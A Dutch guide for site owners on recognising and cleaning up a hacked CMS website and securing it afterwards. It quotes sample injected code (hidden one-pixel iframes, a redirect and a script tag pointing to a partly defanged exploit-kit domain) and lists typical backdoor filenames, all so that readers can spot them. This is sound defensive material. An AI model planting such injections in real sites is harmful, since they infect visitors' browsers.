Als je website gehackt is, dan is dat erg vervelend. Niet alleen voor jou, ook voor bezoekers. Bezoekers van een gehackte website worden opgezadeld met niet werkende sites, lelijke foutmeldingen, pop-ups en een reële kans dat virussen en exploits worden gedropt in de browser. Voor jou is een gehackte website veelal een financiële post: er komen minder bezoekers, Google merkt je website aan als kwaadaardig en het kost simpelweg bezoekers, bestellingen en omzet. Als het dan toch gebeurt (een gehackte website gebeurt vroeger of later toch wel), wat moet je dan doen?

Handleiding voor het weer veiligmaken van jouw website

Volg deze stappen om jouw site weer snel veilig, bereikbaar en herstelt online te krijgen. Het is belangrijk om je website veilig en up-to-date te houden.

Het is helaas onmogelijk een 100% sluitende handleiding te maken voor wat je moet doen als je website gehackt is die ook nog eens begrijpelijk is. Er zijn simpelweg teveel mogelijkheden en verschillende situaties denkbaar. Dit artikel is een globale handleiding om een gehackte website weer op te schonen en (relatief) veilig weer online te krijgen.

Hierna moet de website beveiligd worden tegen nieuwe hacks natuurlijk.

Veel is afhankelijk van je eigen kunde en vaardigheden. Is dit te moeilijk of ingewikkeld? Klop dan eens aan bij die ene jongen om de hoek, of neefje. Iedereen kent wel zo’n persoon met net dat beetje extra kennis van computers. Vragen staat immers altijd vrij.

Mijn website is gehackt!… Wat nu?

Een eerste indicatie dat een website gehackt is, is vaak “vreemd gedrag”; de website laadt langzaam, er verschijnen pop-ups of reclame, er verschijnt een melding van Google SafeBrowsing, enz. Als je de broncode in de browser bekijkt zie je vaak vreemde codes, iframes en onbekende javascripts.

Regelmatig worden er vreemde codes in websitebestanden en broncode geplaatst. Het gaat dan meestal om iframes of JavaScript met geëncodeerde strings die worden toegevoegd aan bestaande bestanden. Ook wordt er vaak extra bestanden op de website geplaatst. Bijvoorbeeld PHP-, ASP– of ASP.NET-bestanden, die fungeren als achterdeurtjes (backdoors of shells).

Oeps, de website is gehackt en voorzien van virussen (malware). Of de website fungeert als doorgeefluik voor virussen, en is voorzien van backdoors.

Via een backdoor behoudt een kraker toegang tot de website.

Een voorbeeld van een dergelijk JavaScript kan een stukje JavaScript zijn dat een iframe laadt:

<iframe src="http://some_url/script.js" width="1" height="1"
frameborder="0"></iframe>
<iframe src="http://some_url/main.php?page=887c73c59dbbfc05"
width="1" height="1" frameborder="0"></iframe>

Of een JavaScript met redirect:

document.location='hXXp://chipsiedok(DOT)com/main.php?page=64078c3dc54bfa8a';

Backdoors of achterdeurtjes

Binnen een gehackte website plaatsen de aanvallers vaak bestanden om toegang tot je website te houden. Er wordt een achterdeur geplaatst. Voor de aanvaller kan dit handig zijn, bijvoorbeeld om aanvallen te lanceren richting andere computers, netwerken of websites, voor het versturen van ladingen spam of het onopvallend injecteren van spam en reclame in je website.

Alhoewel de bestandsnamen vaak willekeurig zijn: 5yyie9.php, stzf4r.php, wordt er regelmatig gekozen voor bestandsnamen die wat zouden kunnen betekenen: google_verify.php, check_sc.php, index_backup.php, l_backuptoster.php of ftpchk3.php.

Hierdoor valt een hack minder op.

PHP script als script-source:

<script src="hXXp://lilupophilupop(DOT)com/sl.php"></script>

Lilupophilupop tops 1million infected pages

Via bovenstaande methodes wordt de BlackHole Exploit kit gebruikt om computers van bezoekers te infecteren met een virus.

Komt dit bekend voor?

Wat is de oorzaak van een gehackte website?

Als een website is gehackt denkt men vaak dat de oorzaak ligt bij de hostingprovider (sic). In vrijwel alle gevallen zijn er slechts drie mogelijkheden waardoor een website gehackt kan worden (simplified). Twee daarvan hebben erg veel met elkaar te maken.

  • de computer van de website eigenaar is geïnfecteerd met een virus, dat virus heeft de FTP-inloggegevens onderschept en verspreid
  • het FTP-wachtwoord is te eenvoudig en simpelweg gekraakt via bruteforce
  • een kwetsbaarheid in een Content Management Systeem CMS of extensie/plugin (WordPress, Joomla, Umbraco, Magento, Drupal) wordt misbruikt:

Computervirussen zoals Gumblar en Conficker/Downadup, maar ook meer recente virussen, zijn in staat om op de computer opgeslagen FTP-wachtwoorden te verzamelen. Die gegevens worden gedeeld via een botnet en zogenoemde C&C-servers (Command and Control). Via een C&C-server stuurt de beheerder van het botnet opdrachten naar de geïnfecteerde computer, zoals het via FTP uploaden van schadelijke bestanden. Hiermee wordt allerlei malware (virussen, redirects, …) geplaatst, soms direct en soms pas weken of maanden later. Deze malware wordt gebruikt om computers van bezoekers te infecteren met virussen en/of om bezoekers door te sturen naar andere websites.

Regelmatig wordt er binnen de website-structuur een valse phising– of internetfraude-website geplaatst, met het doel om onwetende bezoekers geld en persoonsgegevens af te troggelen. Dit gaat in veel gevallen gepaard met het versturen van enorme ladingen spam.

Mijn gehackte website weer opschonen, hoe doe ik dat?

Allemaal leuk en aardig deze uitleg hierboven, maar hoe schoon ik mijn gehackte website weer op?

Het opschonen van een gehackte website kan een tijdrovende, en dus dure klus zijn. Bepaal van te voren hoeveel de huidige website jou waard is; kan het uit om een specialist voor een aantal uur in te huren? kun je zelf een aantal uur vrijmaken hiervoor? Of kun je sneller een nieuwe website (laten) maken? Dit is van belang voor de vervolgstappen.

Hieronder gaan we uit van een CMS als WordPess, Joomla of Drupal.

Zelf een gehackte WordPress-, Joomla- of Drupal-website opschonen

Een CMS als WordPess, Joomla of Drupal bestaat uit erg veel bestanden. Je kunt hiervan onmogelijk weten welk bestand wel, en welk bestand niet bij de website hoort. Het kost erg veel tijd om dit alles te downloaden en ieder bestand afzonderlijk te inspecteren. Kun je zelf een beetje overweg op de Windows commandline, dan kun je een tool als grep.exe gebruiken om snel te zoeken naar bekende backdoors. Je moet dan weten hoe dergelijke backdoors te herkennen zijn. Ook erg lastig, want de mogelijkheden zijn vrijwel oneindig.

Gelukkig slaat een CMS als WordPress (of Joomla, of Drupal) alle tekstuele content op in de achterliggende MySQL-database. Dit kun je in je voordeel gebruiken. Alhoewel het wel eens gebeurt, heb ik niet vaak gezien dat er in de MySQL-database is gerommeld door de hacker. Om je website het snelst weer in redelijke staat online te krijgen kun je dit stappenplan volgen:

Opschonen gehackte website, een stappenplan
Om te beginnen heb je een FTP-programma nodig, FileZilla is een goede. Neem contact op met je hostingprovider als je de inloggegevens niet kent.

  1. Scan je computer op virussen met een nieuw geïnstalleerde virusscanner
  2. Verander je FTP- én MySQL-wachtwoord bij je hostingprovider
  3. Download via FTP alle bestanden van de website naar je computer
  4. Heb je alles goed binnen? Zeker weten? Verwijder dan alle content op de FTP-server van je website en geef dit door aan de hostingprovider
  5. Op je computer, daar waar je de websitebestanden hebt geplaatst, maak een extra back-up van het configuratiebestand:
    • /wp-config.php voor WordPress
    • /configuration.php voor Joomla (hint: zie deze 8 tips om Joomla te versnellen, kleine wijzigingen die je ook eenvoudig in het configuration.php-bestand kunt opnemen)
    • /sites/default/settings.php voor Drupal
    hierin staan namelijk je MySQL-databasegegevens
  6. Download een schone versie van WordPress, Joomla of Drupal. Dit moet dezelfde versie zijn als jij op je website had staan
  7. Pak het .zip-archiefbestand uit en upload de bestanden via FTP naar je website, minus het configuratiebestand (indien aanwezig).
  8. Inspecteer de back-up van je CMS’ configuratiebestand; is deze niet aangepast? Plaats dan je nieuwe MySQL-wachtwoord erin en upload het configuratiebestand via FTP naar je webruimte
    • WordPress specifiek: verander de _SALT-waarden in het bestand wp-config.php. Genereer nieuwe salts (secret keys, of geheime sleutels) via https://api.wordpress.org/secret-key/1.1/salt/. Upload hierna wp-config.php naar je website
  9. Voor de zekerheid, gebruik een extra scanner zoals hieronder genoemd om de map te scannen waarin de afbeeldingen van de website staan (wp-content, images, uploads, en dergelijke)
  10. Alle contentbestanden ook schoon? Dan kun je deze via FTP weer op de webruimte plaatsen
  11. Maak regelmatig een volledige website back-up, én maak MySQL database back-ups

Neem nu contact op met de hostingprovider om door te geven dat alles weer schoon moet zijn, en vraag om een inspectie. Hierna kan de hostingprovider je website weer online beschikbaar maken als deze offline was geplaatst.

Informatieve artikelen:

Wat moet ik doen na een website hack?

Beveilig je computer! De kans is aannemelijk dat de hack mede mogelijk is gemaakt door/via je computer, of dat er onbewust een virus is gedropt toen je je eigen website bekeek.

  1. Installeer een virusscanner, verwijder virussen, verander alle wachtwoorden en schakel een firewall in
  2. Timmer de computer verder dicht (c.q. scherp de beveiliging verder aan).
  3. Sla geen FTP inloggegevens op in FTP programma’s, gebruik hiervoor een password manager
  4. Verwijder allerlei cache (browsercache of tijdelijke internetbestanden) regelmatig

Daarnaast zijn er praktische tips voor een veilige website voor handen. Het is verstandig dit soort tips goed door te nemen en op te volgen, het kan je veel ellende besparen.

Protip: Sluit je website voor onderhoud en behoud je Google ranking

Verwijder de malware en beveilig de website!

Door een onderhoudspagina in te stellen en de website tijdelijk te sluiten voor onderhoud zal je mogelijk de Google ranking van je website kunnen behouden. Als je dit goed instelt retouneert de website een 503 Service Unavailable melding terug aan zoekmachines. Zoekmachines respecteren dit en proberen het later nog eens, hoeveel later kun je instellen met een Retry-After reactieheader met de waarde erachter in seconden, bijvoorbeeld

<?php
header('HTTP/1.1 503 Service Temporarily Unavailable',true,503);
header('Status: 503 Service Temporarily Unavailable');
header('Retry-After: 172800');
?>

Beveilig je website volgens de richtlijnen van de ontwikkelaars

Als je website gebruik maakt van bijvoorbeeld WordPress, Joomla, Umbraco, Zen Cart, Drupal, …, dan kan deze verder beveiligd worden door zogenoemde “best practises” op te volgen:

  1. Zet alleen schrijfrechten op bestanden en mappen waarvoor dat vereist is voor het functioneren van het CMS
  2. Maak gebruik van niet-standaard database tabelvoorvoegsels (prefixes): i323_ in plaats van wp_ of jos_
  3. Kies een niet-standaard gebruikersnaam, zoals n1mad64 in plaats van admin
  4. Houdt updates van core-onderdelen én plugins bij, en/of zoek een plugin die dit regelt (in combinatie met andere beveiligings-plug-ins)

En een virusscanner op de webserver?

Sommige hostingproviders gebruiken een virusscanner om alle geüploade bestanden te scannen op virussen, sommigen ook niet. Alhoewel een virusscanner een Blackhole Exploit in een javascriptbestand zou kunnen herkennen, ziet een virusscanner geen dreiging in een redirect naar een andere website. Dat zou immers de bedoeling van de webmaster kunnen zijn.

Omdat de meeste geïnfecteerde websites doorlinken naar slechts een enkele website met daarop virussen en exploits, zal een virusscanner weinig uithalen. (Bron: Amorize.com Mass Meshing [2])

Zorg er dus te allen tijde voor dat jouw computer beschermd is met een antivirusprogramma, een virusscanner op een webserver voegt weinig toe.

Beveilig jouw computer

Een aantal praktische tips voor computerbeveiliging en informatie:

De drie belangrijkste tips: gebruik je gezond verstand, gebruik veilige wachtwoorden en lees en begrijp wat er in verschillende vensters staat. Of er nou een programma geïnstalleerd wordt, een virusscanner of firewall ingesteld of een bestand gedownload, lees aandachtig wat er in ieder venster staat en probeer dat te begrijpen. Te vaak wordt er bij het uitvoeren van een programma ondoordacht geklikt op Uitvoeren of Volgende, zonder de gevolgen te kennen…

Common sense

Let op wat je deelt via Social Media (Facebook, Twitter, Instagram, Snapchat, LinkedIn). Download geen muziek, films of games via torrent-sites of Usenet (nieuwsgroepen). Gebruik een legitieme versie van Windows. Reageer niet op e-mails waarin je bank vraagt om in te loggen op een website om je rekeninggegevens te controleren, of e-mails waarin je gevraagd wordt je persoonsgegevens en rekeninggegevens in te vullen omdat een Afrikaanse generaal graag 10 miljoen dollar wil overmaken (phising of internetfraude)

Wachtwoorden

Ik kan het niet vaak genoeg benadrukken: gebruik goede, veilige wachtwoorden! En gebruik dat wachtwoord niet op meerdere plekken (hergebruik van wachtwoorden). Dus, registreer jezelf niet op vijf websites met 123456 als wachtwoord, vooral als dit ook het wachtwoord van jouw gebruikersaccount op je computer is.

E-mailadressen en wachtwoorden die je nu gebruikt controleer je eenvoudig via de website ‘;–have i been pwned?. Deze site geeft aan of jouw e-mailadres dat je online gebruikt als inlognaam voor een account, gelekt is bij een hack. En of het bijbehorende wachtwoord ook gelekt is (al dan niet gehasht). Handig hè? :)

Blijf op de hoogte van beveiligingsnieuws

Op een aantal sites zijn daadwerkelijke exploits (stukjes code om een kwetsbaarheid of beveiligingsprobleem te misbruiken) te vinden, bijvoorbeeld http://www.exploit-db.com.

Kijk eens hoeveel kwetsbare Joomla of WordPress plug-ins in omloop zijn:

Bezoek een website als watismijnip.nl om je eigen IP-adres weer te laten geven (veel mensen weten hun IP-adres namelijk niet, het is dan makkelijk dat dit ergens op te zoeken is).

Er is een aantal (soms technische) websites die de status van dat IP-adres kunnen weergeven, bijvoorbeeld:

Je wilt graag meer informatie vinden over dit soort hacks en problemen. Ook wil je graag op de hoogte blijven van het laatste beveiligingsnieuws. Als alles goed is gegaan is je website opgeschoond, computer vrij van virussen en hebt je contact gehad met de hostingprovider om de website weer online beschikbaar te laten zijn. Nu is het natuurlijk belangrijk om dat zo te houden.

Algemeen advies en extra informatie over het beveiligen van computers, en bepaalde aspecten van websitebeveiliging, staat op onder andere: